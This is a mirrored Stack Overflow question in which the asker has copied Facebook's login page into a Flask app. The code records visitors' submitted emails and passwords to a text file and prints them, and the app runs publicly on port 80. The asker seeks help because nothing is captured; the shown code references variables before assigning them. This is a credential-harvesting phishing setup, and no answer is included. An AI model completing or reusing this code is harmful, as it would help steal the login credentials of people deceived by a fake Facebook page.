'can't print anything in flask when using facebook login page as template
I want to print the Password and the Email with 'POST' method and save it into 'data.txt' file once the user click on Login button But when i run the Code, it doesn't print or create the text . i tried printing simple text but it doesnt work i dont have any idea what's the problem and thank you. Here is the code :
from flask import Flask, render_template, request
import sys
app = Flask(__name__)
@app.route('/')
def index():
return render_template("index.html")
@app.route('/', methods=['POST'])
def index_post():
data = f'Email : {Email} /n Password : {Password}'
Email = 'email : ' + request.form["email"]
Password = 'password : ' + request.form["pass"]
data = f'Email : {Email} /n Password : {Password}'
print(data, file=sys.stderr)
with open('data.txt', 'a') as f:
f.write(data)
return render_template("index.html")
app.run(host='0.0.0.0', port ='80')
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|
